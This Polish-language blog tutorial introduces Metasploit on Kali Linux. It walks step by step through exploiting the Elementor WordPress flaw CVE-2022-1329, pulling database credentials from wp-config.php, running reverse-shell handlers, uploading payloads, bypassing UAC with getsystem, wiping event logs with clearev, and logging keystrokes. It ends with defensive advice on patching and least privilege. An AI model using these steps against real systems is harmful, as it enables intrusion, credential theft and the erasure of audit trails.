Wprowadzenie do Metasploit: oprogramowanie do testowania zabezpieczeń

avlab.pl 1 rok temu
Zdjęcie: metasploit


Dostępnych jest wiele narzędzi do przeprowadzania testów penetracyjnych, duża część z nich jest używana także do nielegalnego hackingu. jeżeli zawodowo zajmujemy się testami bezpieczeństwa, to powinniśmy dążyć do poznania jak największej narzędzi, nie zapominając przy tym o solidnych podstawach teoretycznych.

Sporo profesjonalnych narzędzi jest skomplikowanych w obsłudze, są dostępne choćby kursy poświęcone wyłączenie dedykowanym rozwiązaniom. Natomiast jednym z narzędzi, które powinien znać każdy specjalista IT z dziedziny bezpieczeństwa czy administracji, jest Metasploit. To rozbudowane rozwiązanie, o którym można powiedzieć, iż „ułatwia wykorzystanie exploitów”. Nie wykonamy nim typowych testów zabezpieczeń, chociaż część pomocniczych (auxiliary) modułów takowe umożliwia. Metasploit możemy użyć, kiedy wiemy, iż wybrana usługa jest podatna na znany exploit i jesteśmy w stanie z powodzeniem ją skompromitować. Etap zbierania informacji o usługach i środowisku nazywany jest rekonesansem. Z reguły do jego przeprowadzenia używa się informacji uzyskanych poprzez zewnętrzne narzędzia, Metasploit często służy tylko do adekwatnego atakowania.

Metasploit – rozpocznij od Kali Linux

Korzystanie z Metasploit najlepiej rozpocząć w systemie Kali Linux. To dystrybucja Linux przeznaczona do wykonywania testów penetracyjnych, ponieważ zawiera pokaźną ilość preinstalowanych narzędzi w tym celu stosowanych. Metasploit zadziała także na innych dystrybucjach oraz w systemach Windows. jeżeli używamy Windows, powinniśmy wyłączyć oprogramowanie antywirusowe, ponieważ istnieje duża szansa, iż skutecznie uniemożliwi instalację Metasploit. Ta sama reguła dotyczy też maszyn wirtualnych. Przykładowo VirtualBox tworzy wirtualną kartę sieciową, a niektóre antywirusy potrafią skanować wszystkie interfejsy sieciowe, w tym ruch sieciowy maszyny wirtualnej.

Pierwsze uruchomienie powinniśmy zainicjalizować poleceniem msfdb init (jako root), które utworzy w bazie danych PostgreSQL użytkownika msf oraz bazy msf i msf_test. Następnie możemy uruchomić Metasploit poleceniem msfconsole.

Wszystkie moduły Metasploit są czytelnie przechowywane w katalogach /usr/share/metasploit-framework/modules. Ich ilość jest co prawda duża, ale nie ma potrzeby przeszukiwania katalogów w celu znalezienia przykładowo danego exploita. Do wyszukiwania modułów możemy użyć polecenia search. jeżeli szukamy dostępnych modułów dla WordPress, wystarczy wpisać:

search wordpress

Rezultat wyszukiwania zawiera kolejno „id” modułu, jego nazwę (położenie w strukturze katalogów), datę utworzenia, „ocenę” oraz informację czy działanie zostało zweryfikowane i ogólny opis zastosowania. Na dzień pisania tego tekstu wyszukanie frazy wordpress zwraca 113 modułów. To dość duża ilość, ale warto zawęzić wyszukiwanie. jeżeli wiemy, iż testowana przez nas witryna korzysta z podatnej wersji wtyczki Elementor (czego dowiemy się, korzystając m.in. z wpscan), wystarczy wykonać:

search wordpress elementor

Jest to exploit związany z podatnością CVE-2022-1329 obejmującą wersje 3.6.0-3.6.2 wtyczki Elementor. Prawidłowe wykonanie exploita pozwala na dostęp do powłoki systemu hostującego testowaną witrynę. W celu skorzystania z tego modułu możemy wpisać polecenie:

use exploit/multi/http/wp_plugin_elementor_auth_upload_rce

Kolejnym etapem jest sprawdzenie, jakich informacji dany moduł potrzebuje do poprawnego uruchomienia. Te informacje zwraca polecenie show options (lub samo options):

msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > show options

Opcje z Required na „yes” muszą zostać ustawione. Część będzie już zawierała przypisane domyślnie wartości. W naszym przypadku brakuje uzupełnionych opcji PASSWORD, RHOSTS i USERNAME. Ten konkretny exploit ich wymaga, ale istnieje też szereg modułów, dla których wystarczające będzie wyłącznie ustawienie RHOST, czyli adresu testowanego serwisu (LHOST z kolei to adres hosta kontrolowanego przez atakującego). Przypisania wartości dla opcji dokonamy poleceniem set, na przykład:

set PASSWORD zaq1@WSX

Możemy teraz spróbować wykonać exploit poleceniem exploit lub run.

Czyli dzięki wtyczce Elementor i użytkownikowi witryny z rolą Subskrybent (minimalne uprawnienia) w WordPress, uzyskaliśmy dostęp do powłoki (w tym przypadku kontenera Docker) systemu. Został uruchomiony Meterpreter, który pełni funkcję terminala pomiędzy Metasploit a zdalną sesją. Widoczny lokalny port 4444 jest domyślny. jeżeli wygenerowaliśmy własny payload (np. narzędziem msfpc) komunikujący się z innym portem (co będzie przydatne, jeżeli firewall ogranicza ruch wychodzący do standardowych portów) i w dowolny sposób wykonaliśmy go na testowym serwerze, musimy ustawić ten port w Metasploit dzięki set lport.

Pełna lista podstawowych poleceń Meterpreter dostępna jest tutaj. W powyższym przykładzie pobrałem nazwę zdalnego użytkownika i aktualną ścieżkę, po czym uruchomiłem standardową powłokę i z użyciem grep pobrałem poświadczenia do bazy danych z pliku wp-config.php. Mając dostęp na tym poziomie, możemy w zasadzie w dowolny sposób skompromitować witrynę. Atak zadziała także wtedy, gdy podatna wtyczka jest wyłączona — jej pliki cały czas są dostępne poprzez serwer WWW.

Możemy użyć gotowych modułów do automatyzacji pewnych czynności. Ciekawym przykładem jest post/multi/gather/enum_software_versions, który do pliku tekstowego zapisuje listę zainstalowanych na kontrolowanym hoście aplikacji i ich wersji. To jeden z modułów, które wymagają podania wyłącznie identyfikatora sesji Meterpreter. W celu ich użycia możemy uruchomić sesję w tle poleceniem background (bg) bądź w Meterpreter wykonać run <nazwa_modułu> (zadziała w przypadku, gdy potrzebne jest przekazanie wyłącznie id sesji). Praktyczne użycie wygląda na przykład tak:

Warto zwrócić uwagę, iż nie każdy moduł jest kompatybilny z każdym rodzajem zastosowanej sesji.

Powyższy przykład ataku pokazuje sens wykonywania regularnych aktualizacji oprogramowania. Można postawić tezę, iż WordPress jest niemal wzorcowym przypadkiem. Jego popularność i łatwość konfiguracji dla najczęstszych zastosowań sprawia, iż jest powszechnie stosowany do budowy witryn internetowych, również tych rozbudowanych, jak sklepy internetowe.

Tutaj niestety podejście „działa, nie ruszać” nie będzie dobrym pomysłem. Każdy może postawić witrynę na WordPress czy innym systemie zarządzania treścią. Ważne jest jednak utrzymywanie jej przez cały czas pod względem technicznym, gdzie podstawowe czynności stanowią właśnie aktualizacje oraz wykonywanie kopii zapasowych. Dodatkowo sprawdza się zasada minimalnych uprawnień i ograniczenie dostępu do pewnych kluczowych elementów systemu operacyjnego. Możliwość zdalnego wykonywania poleceń przez atakującego to bardzo poważny problem, natomiast odpowiednie ograniczenia nie pozwolą np. na skompromitowanie innej witryny hostowanej na tym samym serwerze (wykluczając ataki i podatności typu privilege escalation).

Ciekawe wykorzystanie Metasploit to ataki na system Windows. W przypadku Windows zainstalowane aplikacje wylistujemy z użyciem modułu post/windows/gather/enum_applications. Wygenerowana lista jest widoczna bezpośrednio w konsoli Metasploit, output podobnie jak poprzednio zostanie zapisany do pliku. Konieczne jest wykonanie tego modułu w sesji z prawami administratora.

Co oczywiste, największe możliwości daje właśnie użycie konta z uprawnieniami administratora. Do podniesienia uprawnień służy w Meterpreter polecenie getsystem. Nie prowadzi ono do eskalacji uprawnień poprzez obejście pewnych zabezpieczeń. Umożliwia jednak dostęp jako konto Administrator, jeżeli zdalny użytkownik ma nadane uprawnienia administratora lokalnego lub domenowego. Korzysta przy tym z trzech technik opisanych w tym miejscu.

W celu skorzystania z getsystem ogranicza nas typ payload’u, mianowicie musi to być plik wykonywalny EXE. jeżeli dostęp uzyskaliśmy poprzez inny payload, nic nie stoi na przeszkodzie, aby przesłać payload w formacie EXE, a następnie zdalnie go wykonać. Użyte polecenia mogą być następujące:

use exploit/multi/handler set LHOST set LPORT 443 set PAYLOAD php/meterpreter/reverse_tcp exploit

Narzędzie msfpc domyślnie tworzy payload’y realizujące połączenie do portu 443, stąd w LPORT zdefiniowaliśmy odpowiednią wartość. jeżeli ofiara wykona na swoim urządzeniu wygenerowany przez msfpc plik PHP, powinniśmy natychmiast uzyskać zdalny dostęp. Tworzymy kolejny payload:

msfpc Windows 4444

Zostanie przygotowany plik o nazwie windows-meterpreter-staged-reverse-tcp-4444.exe. Warto zmienić tę nazwę, np. na app.exe. Przesyłamy plik na docelowy system:

upload app.exe

Nie ma możliwości uruchomienia w tle oczekiwania na zestawienia połączenia ze zdalnego hosta, dlatego musimy zainicjować kolejną konsolę Metasploit. Wykonujemy analogicznie:

use exploit/multi/handler set LHOST set PAYLOAD windows/meterpreter/reverse_tcp

Domyślna wartość LPORT w Metasploit to 4444, dlatego nie było potrzeby jej ustawiania. Podaliśmy ją tylko jako argument msfpc.

Uruchamiamy payload z poziomu pierwszej konsoli:

execute -f app.exe

W drugiej konsoli po chwili powinniśmy uzyskać działającą sesję Meterpreter. Poleceniem bg przekazujemy ją do „tła”. Wykorzystamy skuteczny moduł exploit/windows/local/bypassuac_fodhelper. Zakładając, iż zdalny system jest w wersji 64-bit, musimy pamiętać o ustawieniu odpowiedniego rodzaju payload’u, ponieważ wykonanie modułu przebiegnie niepoprawnie:

set PAYLOAD windows/x64/meterpreter/reverse_tcp

Jeśli wykonamy jeszcze polecenie show targets zobaczymy, iż ten konkretny moduł potrzebuje określenia architektury systemu. Numerem 1 oznaczony jest Windows x64, dlatego ustawiamy ten target:

set TARGET 1

Pozostaje ustawienie numeru sesji, po czym moduł będzie gotowy do użycia.

Została utworzona kolejna sesja. Wykonanie getsystem umożliwiło dostęp jako systemowe konto Administrator. Dodatkowo wbudowanym poleceniem clearev całkowicie wyczyściliśmy wpisy w Podglądzie zdarzeń.

Zaprezentowany sposób kompromitacji systemu Windows powinien uświadomić, iż w codziennej pracy lepiej korzystać ze standardowego konta, a konta z uprawnieniami administratora używać tylko w razie potrzeby. Zakładając, iż pracujemy na wspieranych i w pełni zaktualizowanych wersji Windows, teoretyczne jesteśmy „zabezpieczeni” przed podobnymi metodami. Aktualnie nie istnieje znana i dostępna w Metasploit podatność umożliwiająca nieautoryzowane zwiększenie uprawnień. Należy jeszcze wspomnieć, iż domyślny antywirus Windows Defender blokuje pliki wygenerowane przez msfpc (są wykrywane jako Trojan:Win32/Meterpreter.O). Biorąc pod uwagę rezultat skanowania typowego payload’u w serwisie VirusTotal, można uznać, iż większość antywirusów również zablokuje to zagrożenie.

Dodatkowe polecenia podczas używania Metasploit

Meterpreter zapewnia też inne interesujące możliwości. Dostępne polecenia zobaczymy po wykonaniu help. Na przykład uruchomienie polecenia screenshot wykonana zrzut ekranu i zapisze wynik do pliku. Jeszcze lepsza opcja to rejestrowanie sesji w czasie rzeczywistym, czyli „nieautoryzowane udostępnianie ekranu” dzięki polecenia screenshare.

Możemy użyć także „keylogger”. Służy do tego polecenie keystroke_start. Przechwycone naciśnięcia klawiszy będą przechowywane w pamięci. Ich wynik uzyskamy poleceniem keystroke_dump.

W realnych atakach raczej nie staramy się zwrócić uwagi użytkownika na naszą „obecność” w jego systemie. W innym przypadku możemy użyć polecenia play, które na zdalnym hoście odtwarza wskazany przez nas lokalny plik WAV (inne formaty dźwiękowe nie są obsługiwane).

Metasploit to łatwe w użyciu rozwiązanie. Pozwala na sprawne uruchomienie znanych exploitów przeciwko testowanym systemom. Zdecydowanie dobrą praktyką jest weryfikacja zabezpieczeń w naszej infrastrukturze oraz wdrażanie zasad bezpieczeństwa i kontroli dostępu.

Idź do oryginalnego materiału